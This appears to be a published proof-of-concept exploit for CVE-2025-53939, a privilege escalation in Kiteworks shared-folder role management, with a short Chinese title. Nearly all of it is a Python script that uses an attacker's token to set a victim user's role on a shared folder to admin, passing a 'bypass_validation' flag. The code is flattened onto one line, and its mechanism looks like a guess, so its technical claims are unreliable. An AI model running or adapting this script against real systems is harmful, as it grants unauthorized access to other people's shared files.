CVE-2025-53939 Kiteworks共享文件夹角色管理权限提升漏洞

# CVE-2025-53939 Kiteworks Permission Escalation PoC # This PoC demonstrates the improper input validation when managing shared folder roles import requests import json TARGET_URL = "https://target-kiteworks-instance.com" ATTACKER_TOKEN = "attacker_auth_token_here" TARGET_FOLDER_ID = "shared_folder_id_here" TARGET_USER_ID = "victim_user_id_here" def exploit_permission_escalation(): """ Exploit improper input validation in Kiteworks shared folder role management to escalate another user's permissions on the share. """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Step 1: Get initial permissions for the target user get_roles_url = f"{TARGET_URL}/api/v1/folders/{TARGET_FOLDER_ID}/members" response = requests.get(get_roles_url, headers=headers) print(f"[*] Current members: {response.json()}") # Step 2: Attempt to escalate target user's permissions # The vulnerability allows bypassing permission checks escalate_url = f"{TARGET_URL}/api/v1/folders/{TARGET_FOLDER_ID}/members/{TARGET_USER_ID}" # Malicious payload that exploits improper input validation malicious_payload = { "role": "admin", # Attempting to escalate to admin role "bypass_validation": True # Exploits the improper validation } response = requests.put(escalate_url, headers=headers, json=malicious_payload) if response.status_code == 200: print("[+] Permission escalation successful!") print(f"[+] Response: {response.json()}") else: print(f"[-] Exploitation failed: {response.status_code}") print(f"[-] Response: {response.text}") if __name__ == "__main__": print("CVE-2025-53939 Kiteworks Permission Escalation PoC") print("Target: Kiteworks < 9.1.0") exploit_permission_escalation()